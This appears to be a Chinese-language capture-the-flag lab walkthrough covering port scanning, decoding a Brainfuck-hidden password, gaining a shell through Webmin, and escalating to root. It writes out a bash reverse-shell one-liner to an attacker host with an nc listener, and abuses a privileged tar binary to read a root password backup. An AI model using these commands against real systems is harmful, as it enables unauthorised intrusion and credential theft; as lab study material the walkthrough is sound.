kali攻击机ip:192.168.181.160
端口扫描
nmap -sS -p 1-65535 -A 192.168.181.160
80端口的apache版本很新,没发现可利用的漏洞
10000和20000端口搭建了cms,是不同版本的webmin
139和445端口开启了samba服务,查了查是文件共享服务
先看80端口
看看源码,最下面,藏的隐蔽啊,让我查查是个什么玩意
好神奇的语言,第一次见
从别的博客里面找出来的Branifuck翻译器
Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]
.2uqPEfj3D<P'a-3
再看看webmin
救命,这么多cve,得试到何年何月啊,先放一放,等会再说吧
最后看看samba
- Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。
- SMB是一个协议名,全称是Server Message Block(服务器消息快协议),用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。smb的默认端口是139或者445
使用Enum4linux和Smbclient枚举SMB - 开发者头条 (toutiao.io)
cyber
10000端口网站登不进去,换20000就行了
到处点点
发现了一个可以打开shell的地方
看看目录有什么发现
cat user.txt
不喜欢在这里写命令,还是弄个反弹shell回kali
先开启nc监听
nc -lvp 6666
然后在shell里面执行
bash -i >& /dev/tcp/192.168.181.129/6666 0>&1
或者
bash -c "bash -i >& /dev/tcp/192.168.181.129/6666 0>&1"
讲讲题外话,解释一下这条命令
- bash -i 打开一个bash交互界面
- >& 将前面内容的混合输出(标准输出和标准输出)重定向到后者
- /dev/tcp/ Linux中的一个特殊文件: /dev/tcp 打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
- 0>&1 将标准输入重定向到标准输出
完整语句就是将bash -i的标准输入,输出和错误全部重定向到 /dev/tcp/192.168.181.129/6666
执行顺序也很重要,一定要先>& /dev/tcp/192.168.181.129/6666
,再0>&1
为了方便复习时理解,我画个图描述一下
重定向前,0(标准输入),1(标准输出),2(标准错误)全都定位到原文件
执行 bash -i >& /dev/tcp/192.168.181.129/6666 0>&1
先将1,2重定向到/dev/tcp/192.168.181.129/6666,再将0重定向到1
最后结果
执行 bash -i 0>&1 >& /dev/tcp/192.168.181.129/6666
先将0重定向到1,就是原文件,再将1,2重定向到/dev/tcp/192.168.181.129/6666
最后结果
扯得有点远,回归正题
得到反弹shell
tar文件有root权限,所有人可执行,用root权限的tar就可以打包一些root权限的文件了,虽然还不知道用在哪
到处找找
最后在/var/backups
目录下发现了一个旧的密码备份文件,可是只有root可读写
cyber权限下也有一个tar命令可以执行
这样一来,我们可以用root权限的tar命令压缩 /var/backups/.old_pass.bak,然后再通过普通用户权限tar命令解压该压缩文件,这样一来,就可以查看密码文件了
回到/home/cyber目录,使用./tar
执行当前目录下的tar文件,打包 /var/backups/.old_pass.bak文件,命名为passwd.txt
./tar -cvf passwd.tar /var/backups/.old_pass.bak
ls
可以看见/var/backups/.old_pass.bak被我们压缩到/home/cyber目录下的passwd.tar里了
tar -xvf passwd.tar
多了一个var文件,就是我们解压出来的
cat var/backups/.old_pass.bak
记得var前面不要加/,不然就跳转到/var目录了,不是当前目录下的var文件了
密码!
Ts&4&YurgtRX(=~h
提权成功
获得flag
o了 😃